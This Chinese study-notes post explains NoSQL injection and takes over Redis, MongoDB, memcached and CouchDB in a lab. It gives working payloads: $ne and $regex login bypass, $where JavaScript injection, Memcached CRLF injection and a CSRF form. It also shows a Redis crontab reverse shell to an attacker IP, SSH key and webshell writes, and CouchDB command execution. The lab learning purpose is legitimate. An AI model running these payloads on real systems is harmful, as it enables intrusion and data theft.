关于NoSQL注入的学习记录
01 NoSQL数据库介绍:
NoSQL,泛指非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。NoSQL用于超大规模数据的存储。(例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。
分类 Examples举例 典型应用场景 数据模型 优点 缺点 键值(key-value) Tokyo Cabinet/Tyrant, Redis, Voldemort, Oracle BDB 内容缓存,主要用于处理大量数据的高访问负载,也用于一些日志系统等等。 Key 指向 Value 的键值对,通常用hash table来实现 查找速度快 数据无结构化,通常只被当作字符串或者二进制数据 列存储数据库 Cassandra, HBase, Riak 分布式的文件系统 以列簇式存储,将同一列数据存在一起 查找速度快,可扩展性强,更容易进行分布式扩展 功能相对局限 文档型数据库 CouchDB, MongoDb Web应用(与Key-Value类似,Value是结构化的,不同的是数据库能够了解Value的内容) Key-Value对应的键值对,Value为结构化数据 数据结构要求不严格,表结构可变,不需要像关系型数据库一样需要预先定义表结构 查询性能不高,而且缺乏统一的查询语法。 图形(Graph)数据库 Neo4J, InfoGrid, Infinite Graph 社交网络,推荐系统等。专注于构建关系图谱 图结构 利用图结构相关算法。比如最短路径寻址,N度关系查找等 很多时候需要对整个图做计算才能得出需要的信息,而且这种结构不太好做分布式的集群方案。 |
02 NoSQL数据库注入
1.原理
NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式 SQL语言中执行,所以潜在影响要大于传统SQL注入。NoSQL数据库的调用是使用应用程序的编程语言编写的,过滤掉常见的HTML特殊字符,如<>&;不会阻止针对NoSQL的攻击。
2.分类
1)重言式
重言式又称为永真式。就是构造注入代码使表达式的结果永远判定为真,从而绕过认证。
2)联合查询
联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
3)JavaScript注入
NoSQL数据库可以在数据库中执行JavaScript语句,MongoDB使用 $where操作符就可以执行JavaScript语句,当用户构造恶意输入作为查询语句就可以实现注入。
4)盲注
与SQL注入盲注类似,都是根据页面返回的结果来判断是否存在注入。
5)背负式查询
攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外执行的查询,这样就可以执行任意代码了。
6)跨域违规
攻击者通过调用暴露的HTTP REST API的模块其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。
3.实验演示
实验环境:
10.10.19.100:80端口映射到66.28.5.2:80
攻击机(win10):192.168.2.100
目标机(win7):10.10.19.100(apache2.4.18+php5.3+mogodb3.2.22)
拓扑:
mongodb基础语法:
1.show dbs //查看所有数据库 2.use test //创建test数据库(创建后要插入数据才会显示) 3.db.passwd.insert({'name':'admin','password':'123456'}) //创建集合passwd并插入数据 4.db.passwd.find() //查询集合所有数据
常用操作符:
$ne:匹配字段值不等于指定值的文档,包括没有这个字段的文档 $or :文档至少满足其中的一个表达式 $eq:匹配字段值等于指定值的文档 $where :可以通过js表达式或js函数来查询文档 $regex :正则表达式可以匹配到的文档 $gt:匹配字段值大于指定值的文档 $gte:匹配字段值大于等于指定值的文档 $lt:匹配字段值小于指定值的文档 $lte:匹配字段值小于等于指定值的文档 $in :匹配字段值等于指定数组中的任何值 $nin :字段值不在指定数组或者不存在 $not :字段值不匹配表达式或者字段值不存在 $nor:字段值不匹配所有的表达式的文档,包括那些不包含这些字段的文档 $exists:<boolean> 等于true时,字段存在,包括字段值为null的文档 $type:匹配字段值为指定数据类型的文档 $mod :匹配字段值被除有指定的余数的文档 $text :针对创建了全文索引的字段进行文本搜索
1)重言式
测试使用操作符$ne进行演示,将与指定值不相等的值查询出来。
先往mongodb插入几条数据以便之后操作:
测试代码: <?php $connect = new Mongo(); //连接数据库 $db = $connect -> test; //选择数据库 $collections = $db -> passwd; //选择集合 $username = $_GET['username']; $password = $_GET['password']; //查询数据 $cursor = $collections -> find(array("name" => $username,"passwd" => $password)); $result = iterator_to_array($cursor); if (count($result)>0) { foreach($result as $value){ echo "username: ".$value['name'].'<-->'."password: ".$value['passwd'].'<br>'; } } ?>
正常查询,传入username=admin&password=123456
传入username[$ne]=a&password[$ne]=a,将和指定值不相等的值查询出来。
2)联合查询
联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。但是现在无论是PHP的MongoDB driver还是node.js的mongoose都要求查询条件必须是一个数组或者对象了,因此简单演示一下联合查询的用法。
查询代码: string query = "{ name:'" + post_username +"',passwd:'" +post_password+'"}" 正常查询的语句: { name:'admin',passwd:'123456'} 构造插入语句: {'name':'admin','$or':[{},{'a':'a','passwd':''}]}
不需要密码,将用户名为admin的数据查询出来。
3)JavaScript注入
mongodb中使用$where操作符执行javascript语句进行查询
测试代码: <?php $connect = new Mongo; //构造javascript查询语句 $query_body =array( '$where'=>"function q() { var username,password; username = '".$_REQUEST["username"]."'; password = '".$_REQUEST["password"]."'; if(username == 'admin'&&password == '123456') return true; else{ return false; } } "); $db = $connect -> test; $collections = $db -> passwd; $cursor = $collections -> find($query_body); $result = iterator_to_array($cursor); if(count($result)>0){ echo "ok"; }else{ echo "no"; } ?>
当查询的用户名和密码存在时,返回true,结果为ok。
当查询的用户名和密码不存在时,返回false,结果为no。
构造注入代码,使结果查询永远为真: payload: username=a&password=a';return true;' 代码变为: '$where'=>"function q() { var username,password; username = '".$_REQUEST["username"]."'; password = '".$_REQUEST["password"]."'; return true;''; if(username == 'admin'&&password == '123456') return true; else{ return false; }
在数据库中测试:
4)盲注
NoSQL的盲注和SQL注入盲注类似,都是根据页面返回的真假判断是否存在注入。这里使用$eq操作符和$regex操作符进行盲注。
测试代码: <?php $connect = new Mongo(); $db = $connect->test; $collections = $db->passwd; $username = $_REQUEST['username']; $password = $_REQUEST['password']; if (is_array($username)) { $data = array( 'name'=>$username); $cursor = $collections->find($data); $result=iterator_to_array($cursor); if (count($result)>0) { $data1 = array('name'=>$username,'passwd'=>$password); $cursor1 = $collections->find($data1); $result1 = iterator_to_array($cursor1); if(count($result1)>0){ echo '用户名和密码都正确'; }else{ echo '用户名正确,密码错误'; }}else{ echo '用户名错误'; } }else{ if ($username == 'admin'&&$password=='123456') { echo 'loging success'; }else{ echo 'login failed'; } } ?>
用户名和密码错误时,显示登陆失败。
使用$eq判断正确的用户名,输入username[$eq]=a&password=a显示用户名错误。
输入username[$eq]=admin&password=a,当用户存在时显示用户名正确,密码错误(这里可以通过爆破出用户名)。
判断出用户名后使用$regex获取密码:
payload: username[$eq]=admin&password[$regex]=.{7} //判断密码长度为7位返回错误 username[$eq]=admin&password[$regex]=.{6} //判断密码长度位6位返回正确 username[$eq]=admin&password[$regex]=a.{5} //判断第一位位a返回错误 username[$eq]=admin&password[$regex]=a.{5} //判断第一位为1返回正确 以此类推,最终查询出密码
使用数据库查询:
5)背负式查询
将键值插入Memcached数据库的的一种注入,由于未找到相关演示案例,此处简单介绍一下相关操作:
语法:
set <KEY> <FLAG> <EXPIRE_TIME> <LENGTH>,
当PHP配置的函数被调用时,接收参数如下:
$memcached->set('key', 'value');
该驱动程序未能针对带有回车\r(0x0D)和换行的\n(0x0A)的ASCII码采取措施,导致攻击者有机会注入包含有键参数的新命令行和其他非计划内的命令到缓存中。如下代码,其中的$param是用户输入并作为键来作用:
$memcached=new Memcached(); $memcached->addServer('localhost',11211); $memcached->set($param, "some value");
攻击者可以提供以下输入进行注入攻击:
"key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n"
增加到数据库中的第一个键是具有”some value”值的key1。攻击者可以增加其他的、非计划内的键到数据库中,即带有”inject”值的key2。这种注入也可以发生在get命令上。看一下Memcached主页上的示例,它以这三行开头:
Function get_foo(foo_id) foo = memcached_get("foo: " . foo_id) return foo if defined foo
这个示例展示了Memcached的典型用法,在处理输入之前首先检查在数据库中是不是已经存在了。假设用类似代码检查从用户那里接收的认证令牌,验证他们是不是登录过了,那么就可以通过传递以下作为令牌的字符串来利用它:
"random_token\r\nset my_crafted_token 0 3600 4\r\nroot\r\n"
当这个字符串作为令牌传递时,数据库将检查这个”random_token”是否存在,然后将添加一个具有”root”值的”my_crafted_token”。之后,攻击者就可以发送具有root身份的my_crafted_token令牌了。可以被这项技术攻击的其他指令还有:
incr <Key> <Amount> decr <Key> <Amount> delete <Key>
在此,incr用于增加一个键的值,decr用于缩减一个键的值,以及delete用于删除一个键。攻击者也可以用像set和get函数一样的手段来使用带来自己键参数的这三个函数。攻击者可以使用多条目函数进行同样的注入:deleteMulti、getMulti和setMulti,其中每一个键字段都可以被注入。回车换行注入可以被用于连接多个get请求。在一项我们进行的测试中,包括原始get在内最多可以连接17条。这样注入返回的结果是第一个键及其相应的值。
6)跨域违规
NoSQL数据库往往会提供HTTP REST API接口,以便客户端进行数据库查询,如MongoDB、CouchDB、Hbase等。但这样做也伴随着安全风险,攻击者可以利用REST API进行跨站请求伪造,让攻击者可以绕过防火墙等防御设备。
HTTP REST API是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。是一种跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。
现在让我们看看CSRF攻击是如何使用这个函数增加新文件到管理员集合中的,从而在hr数据库(它被认为处于安全的内部网络中)中增加了一个新的管理员用户,如下图所示。若想攻击成功,必须要满足几个条件。首先,攻击者必须能操作一个网站,要么是他们自己的网站,要么是利用不安全的网站。攻击在该网站放置一个HTML表单以及一段将自动提交该表单的脚本,比如:
<form action="http://safe.internal.db/hr/admins/_insert" method="POST" name="csrf"> <input type="text" name="docs" value=" [{"username":attacker}]" /></form> <script> document.forms[0].submit(); </script>
藏在防火墙后的内部网络内的用户被欺骗访问一个恶意外部网页,这将导致在内部网络的NoSQL数据库的 REST API 上执行非预期的查询。
第二,攻击者必须通过网络诱骗或感染用户经常访问的网站欺骗用户进入被感染的网站。最后,用户必须许可访问Mongoose HTTP接口。
用这种方式,攻击者不必进入内部网络即可执行操作,在本例中,是插入新数据到位于内部网络中的数据库中。这种攻击执行很简单,但要求攻击者要提前侦察去识别主机、数据库名称,等等。
三、NoSQL数据库GETSHELL方法
1.Redis数据库
实验环境:
10.10.19.50:6379端口映射到66.28.5.2:6379
攻击机(kali):66.28.6.10
目标机(centos7):10.10.19.50
1)crontab计划任务
先在本机设置监听: nc -lvvp 6379 连接目标执行如下命令,等待反弹shell: 66.28.5.2:6379> set xx "\n* * * * * bash -i >& /dev/tcp/66.28.6.10/6379 0>&1\n" OK 66.28.5.2:6379> config set dir /var/spool/cron/ OK 66.28.5.2:6379> config set dbfilename root OK 66.28.5.2:6379> save OK
2)主从复制RCE
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
1.so文件:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(下载后进入目录make,获取恶意so文件) 2.python脚本:git clone https://github.com/Ridter/redis-rce.git 3. 4.执行命令:python3 redis-rce.py -r 66.28.5.2 -p 6379 -L 66.28.6.10 -f module.so
3)ssh-keygen
攻击机执行代码: 生成密钥: ssh-keygen -t rsa cd /root/.ssh (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > key.txt 设置值: cat key.txt | redis-cli -h 66.28.5.2 -x set a 连接redis执行代码: config set dir /root/.ssh config set dbfilename "authorized_keys" save
4)写webshell
连接redis,执行如下代码: config set dir /var/www/html/ config set dbfilename shell.php set x "<?php phpinfo();?>" save
目标机查看已写入shell文件。
连接查看:
2.MongoDB未授权访问
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1;3.0之前版本,如未添加用户管理员账号及数据库账号,使用–auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;3.0及之后版本,使用–auth参数启动后,无账号则本地和远程均无任何数据库访问权限。
环境:
10.10.19.100:27017端口映射到66.28.5.2:27017
攻击机(win10):192.168.2.100
目标机(win7): 10.10.19.100
使用工具不需要验证可直接连接数据库:
3.memcached未授权访问
环境:
10.10.19.50:11211端口映射到66.28.5.2:11211
目标centos:10.10.19.50
攻击win10: 192.168.0.100
安装服务: sudo yum install memcached 启动服务 sudo memcached -d -u root -p 11211 -m 128
查看服务已开启:
telnet可连接:telnet 66.28.5.2 11211
4.couchdb未授权访问
实验环境:
10.10.19.50:5984端口映射到66.28.5.2:5984
攻击机( centos):66.28.6.10
目标机(kali):10.10.19.50
出现如下页面说明couchdb安装成功:
访问_config出现如下页面说明漏洞存在:
访问_utils直接与数据库进行交互:
输入以下命令可执行任意命令: 新建一个执行命令配置” curl -X PUT 'http://66.28.5.2:5984/_config/query_servers/cmd' -d '"whoami > /tmp/success"' 新建表: curl -X PUT 'http://66.28.5.2:5984/vultest' 新建库,插入数据: curl -X PUT 'http://66.28.5.2:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' 调用query_servers处理数据: curl -X POST 'http://66.28.5.2:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
已建立新的库vultest:
在靶机中查看命令执行成功:
04 总结
本文介绍了常见的几种NOSQL数据注入方式和GETSHELL方法,希望对大家能有所帮助。其中背负式查询和跨域违规两种注入方式未能完成复现,摘录了相关文章,原文链接详见参考链接。
